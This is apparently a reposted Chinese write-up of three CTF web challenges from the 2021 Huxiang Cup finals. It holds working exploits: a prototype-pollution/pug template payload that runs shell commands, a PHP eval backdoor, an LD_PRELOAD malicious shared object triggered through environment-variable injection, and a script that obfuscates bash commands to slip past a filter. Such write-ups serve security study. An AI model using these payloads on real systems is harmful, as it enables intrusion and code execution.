2021-湖湘杯final-Web

2023-11-18

2021-湖湘杯final-Web

前言

今年湖湘报的社企组的结果就是最后只能摆烂,然后决赛那段时间正好在复习期末,然后考完了想好好的休息一段时间,打游戏打累了再来复现一下湖湘杯final的题目放松放松。

vote

今年HTB的基本上算是原题了,复现的时候才发现当时做那题的时候就摆烂没管了,所以一点印象没有。。。

const path              = require('path');
const express           = require('express');
const pug               = require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
    const { hero } = unflatten(req.body);

	if (hero.name.includes('奇亚纳') || hero.name.includes('锐雯') || hero.name.includes('卡蜜尔') || hero.name.includes('菲奥娜')) {
		return res.json({
			'response': pug.compile('You #{user}, thank for your vote!')({ user:'Guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with correct name.'
		});
	}
});

module.exports = router;
{
	"name": "gunship",
	"version": "1.0.0",
	"description": "",
	"main": "index.js",
	"scripts": {
		"start": "node index.js",
		"dev": "nodemon .",
		"test": "echo \"Error: no test specified\" && exit 1"
	},
	"keywords": [],
	"authors": [
		"makelaris",
		"makelarisjr"
	],
	"dependencies": {
		"express": "^4.17.1",
		"flat": "5.0.0",
		"pug": "^3.0.0"
	}
}

flat可以原型链污染,pug可以模板rce,直接拿POC打:

{"__proto__.hero":{"name":"奇亚纳"},
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync('cat /flag > /app/static/1.txt')"
    }}

环境不出网所以写到static目录下面。

用的pug的POC参考如下:

https://blog.p6.is/AST-Injection/

Penetratable

奇奇怪怪的题目。。。。就是感觉这个逻辑的绕过有点阴间叭

f12可以看到有req.js,里面写了好多的接口。

发现有个下载的功能,但是需要root。而且经过?id的测试可以知道已有2个用户,root和admin,我们自己注册的是user,权限最低。

然后就是漏洞了,user可以修改admin的密码(?c=admin&m=updatePass)那里把user改成admin的base64即可。然后admin可以修改root的密码(同理)。

成为root之后就可以下载文件了,下载phpinfo.php得到一个后门:

<?php 
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);} 
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>

把md5解一下是1q2w3e,然后蚁剑连上去sed提权读/flag即可:

在这里插入图片描述

MultistaeAgency

首先把附件审计一下,启动了3个服务:webserverproxy,其中web和server是比较关键的点,proxy起的是代理的作用。而且web和proxy是以web权限启动的,server是root权限启动:

su - web -c "/code/bin/web 2>&1  >/code/logs/web.log &"
su - web -c "/code/bin/proxy 2>&1  >/code/logs/proxy.log &"

/code/bin/server 2>&1  >/code/logs/server.log &

再看一下Dockerfile

RUN chmod -R 777 /code

RUN useradd web

ADD flag /flag

RUN chmod 400 /flag

flag权限是400,需要root权限。

再审计一下代码,从web服务开始看,给了3个接口/token/upload/list/token用于获取token和设置环境变量:

	command := exec.Command("curl", "-H", "Fromhost: "+fromHost, "127.0.0.1:9091")
	for k, _ := range values {
		command.Env = append(command.Env, fmt.Sprintf("%s=%s", k, values.Get(k)))

	}

/upload是上传文件到当前token所对应的目录下面,然后请求server服务的/manage接口。/list接口就是列出这个目录下的文件名(因为上传之后会改名)。

看一下/manage接口对应的代码:

func manage(w http.ResponseWriter, r *http.Request) {
	values := r.URL.Query()
	m := values.Get("m")
	if !waf(m) {
		fmt.Fprintf(w, "waf!")
		return
	}
	cmd := fmt.Sprintf("rm -rf uploads/%s", m)
	fmt.Println(cmd)
	command := exec.Command("bash", "-c", cmd)
	outinfo := bytes.Buffer{}
	outerr := bytes.Buffer{}
	command.Stdout = &outinfo
	command.Stderr = &outerr
	err := command.Start()
	res := "ERROR"
	if err != nil {
		fmt.Println(err.Error())
	}
	if err = command.Wait(); err != nil {
		res = outerr.String()
	} else {
		res = outinfo.String()

	}
	fmt.Fprintf(w, res)
}

rce的点应该就在这里了(注意server是以root权限运行的,这里的shell就是root权限,有权限读flag)。

GET传参可控的话,直接拿分号分割命令然后读flag即可。关键是怎么才能请求这个/manage接口而且传可控的GET参数。

利用方式也是没想到,说新也不新,但是只在PHP中利用过,第一次知道Go中也可以这样。

在于环境变量这里:

	for k, _ := range values {
		command.Env = append(command.Env, fmt.Sprintf("%s=%s", k, values.Get(k)))
	}

利用LD_PRELOAD来加载恶意上传的so即可。

root@VM-0-6-ubuntu:~# cat evil.c
#include<stdlib.h>
__attribute__((constructor)) void l3yx(){
    unsetenv("LD_PRELOAD");
    system(getenv("_evilcmd"));
}
root@VM-0-6-ubuntu:~# gcc -shared -fPIC -o evil.so evil.c

(刷新/页面的时候抓包就会发现会请求/token?http_proxy=127.0.0.1:8080,成功得到token,说明需要通过8080端口的proxy来访问,看一下proxy就知道它会自动在header里面添加上Secretkey)

将so文件上传之后即可rce:

/token?http_proxy=127.0.0.1:8080&LD_PRELOAD=/code/uploads/2ea6a3a71d0b2db658544f67f1468897/XVlBz&_evilcmd=ls /

在这里插入图片描述

接下来就是直接拿shell进行curl内网的server服务的/manage即可。

但是/manage服务还带个waf:

func waf(c string) bool {
	var t int32
	t = 0
	blacklist := []string{".", "*", "?"}
	for _, s := range c {
		for _, b := range blacklist {
			if b == string(s) {
				return false
			}
		}
		if unicode.IsLetter(s) {
			if t == s {
				continue
			}
			if t == 0 {
				t = s
			} else {
				return false
			}
		}
	}

	return true
}

不能有点,星号和问号和字母。和之前安洵的题目差不多了(之后再学一下这个),贴一下Jiang的脚本,他加了2层url编码:

from urllib.parse import quote
n = dict()
n[0] = '0'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f=''

def str_to_oct(cmd):
    s = ""
    for t in cmd:
        o = ('%s' % (oct(ord(t))))[2:]
        s+='\\'+o
    return s

def build(cmd):
    payload = "$0<<<$0\<\<\<\$\\\'"
    s = str_to_oct(cmd).split('\\')
    for _ in s[1:]:
        payload+="\\\\"
        for i in _:
            payload+=n[int(i)]
    return payload+'\\\''

print(quote(quote("123;"+build("cat /flag"))))

在这里插入图片描述

总结

自从上个月13号考完一直玩到现在,中途也没怎么学习,从2022年开始就变得特别的颓废,每天昏昏沉沉,直到今天才把湖湘杯决赛的Web大致复现完(还有个josda没复现环境)。也该改变了,该放下事情的也必须放下了。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

2021-湖湘杯final-Web 的相关文章

随机推荐

  • 数据工程师、商业智能( BI )工程师和机器学习( ML )工程师都具体做什么?

    如果你在考虑从事数据科学的工作 可能会觉得这个领域有点令人困惑 什么是数据科学家 数据分析师和数据科学家之间有什么区别 机器学习工程师做什么 那么数据工程师 商业智能 BI 工程师和机器学习 ML 研究员呢 在这篇文章中 我们将描述数据科学
  • gitlab访问报错: Whoops, GitLab is taking too much time to respond

    目录 问题描述 解决方法 问题原因 问题描述 同学们玩gitlab的时候 通过网页访问报错 Whoops GitLab is taking too much time to respond 解决方法 等着就好了 问题原因 我们来分析一下原因
  • element-ui+vue-router:实现导航栏跳转路由

    在实际开发中我们常常遇到在单页面中点击导航栏菜单中的某一选项卡 页面中的某个部分出现相关的信息 也就是使用导航栏进行路由跳转 如下图所示 在线格式转换 示例
  • cuda11.3版本怎么安装pytorch1.5

    首先 确保你的电脑已经安装了CUDA 11 3和对应版本的驱动程序 然后 可以使用pip命令安装PyTorch 1 5 具体方法如下 pip install torch 1 5 0 cu113 torchvision 0 6 0 cu113
  • 《阿甘正传》英文原版剧本(场景+台词)(看电影学英语的最佳材料)

    当前在我朝可以下载到的 阿甘正传 的视频对应的所有版本的字幕 貌似都是字幕制作者听出来的结果 客气地说 这些版本的字幕都是不 完整 的 或者说 都是错误百出 当然 这对理解电影的剧情影响不大 但是 如果想通过看电影学英语的话 如此质量的字幕
  • linux 下各个4K区块文件大小测试速度对比 机械硬盘性能 64K性价比收益最高

    机械硬盘 每个区块取三次数最小值为准 带2G RAM缓存卡4K3 4 MB 秒8K7 3 MB 秒16K9 5 MB 秒32K16 7 MB 秒64K44 2 MB 秒128K67 1 MB 秒256K100 MB 秒512K139 MB
  • 爬虫的代理IP池写哪里了?

    亲爱的程序员小伙伴们 想要提高爬虫效率和稳定性 组建一个强大的代理IP池是非常重要的一步 今天我就来和你分享一下 代理IP池到底应该写在哪里 以及如何打造一个令人瞩目的代理IP池 准备好了吗 一起看看吧 一 代理IP池的代码位置选择 1 写
  • web基础与HTTP协议

    web基础与HTTP 一 web基础 1 DNS与域名 1 1域名 1 2 域名注册 1 3 DNS 解析 1 4 域名 二 网页的概念 1 网页 HTTP HTTPS 2 1网页基本概念 2 2 HTML 概述 2 2 1 HTML超文本
  • C++模板详解(函数模板、类模板)

    hello 这里是bangbang 今天来讲下模板 目录 1 泛型编程 2 函数模板 2 1 函数模板概念 2 2 函数模板格式 2 3 函数模板的实例化 2 4 模板参数的匹配原则 3 类模板 3 1 类模板定义格式 3 2 类模板实例化
  • cmake-3.19.2源码编译与安装

    1 介绍 和 编译环境 1 介绍 cmake是跨平台且开源的编译工具 支持如下7种平台 其他平台不认识没关系 认识linux就行 Microsoft Windows Apple macOS Linux FreeBSD OpenBSD Sol
  • 【转】局域网速度测试 三款软件轻松搞定

    局域网络可谓随处可见 我们也十分关注其实际运行速度如何 比如两台计算机间的文件传输 访问对方计算机的快慢等 而决定局域网络速度的因素很多 又不可能通过简单的操作检测出速度的大小 同时也希望能有一些软件能帮助我们治理局域网 以方便故障的排查
  • Redis系列--主从复制

    一 redis主从复制介绍 在 Redis 复制的基础上 使用和配置主从复制非常简单 能使得从 Redis 服务器 下文称 slave 能精确得复制主 Redis 服务器 下文称 master 的内容 每次当 slave 和 master
  • 五分钟学会python_Python可视化

    微信公众号 Python读财 如有问题或建议 请公众号留言 Seaborn是基于matplotlib的Python可视化库 它提供了一个高级界面来绘制有吸引力的统计图形 Seaborn其实是在matplotlib的基础上进行了更高级的API
  • idea 常用 插件备份

    一 java 序号 强烈推荐 插件名称 功能描述 使用 1 IDE Eval Reset idea 无限7天 续杯 你懂得 插件 2 CodeGlance2 在滚动条边上显示代码文件内容缩略图 可以快速定位到指定位置 3 Alibaba C
  • Tensorflow2.0 tf.keras.Model.load_weights() 报错处理

    错误描述 保存模型 model save weights model h5 脚本重启 加载模型 model load weights model h5 模型报错 ValueError You are trying to load a wei
  • PySide2 QTableWidget常用方法

    QTableWidget 设置列宽模式 设置列宽模式为自动调整 自动拉伸列宽填充窗口 无法手动调整 self tableWidget horizontalHeader setSectionResizeMode QHeaderView Str
  • 个人sublime配色方案

    文章目录 1 效果图 2 描述文件 1 效果图 2 描述文件 color scheme Packages Color Scheme Default Monokai tmTheme font face Consolas font size 1
  • 顺序查找

    顺序查找 基本思想 1 顺序查找 线性查找 从线性表的一端向另一端逐个将记录与给定值进行比较 若相等 则查找成功 给出该记录在表中的位置 若整个表检测完仍未找到与给定值相等的记录 则查找失败 给出失败信息 例子 int SeqSearch1
  • ad10怎么挖铺的铜_跟我学丨覆铜这样操作快!准!狠

    所谓覆铜 就是将PCB上闲置的空间作为基准面 然后用固体铜填充 这些铜区又称为灌铜 覆铜的意义在于 减小地线阻抗 提高抗干扰能力 降低压降 提高电源效率 与地线相连 减小环路面积 那么如何使用立创EDA覆铜呢 一 在PCB工具对话框里面 选
  • 2021-湖湘杯final-Web

    2021 湖湘杯final Web 前言 今年湖湘报的社企组的结果就是最后只能摆烂 然后决赛那段时间正好在复习期末 然后考完了想好好的休息一段时间 打游戏打累了再来复现一下湖湘杯final的题目放松放松 vote 今年HTB的基本上算是原题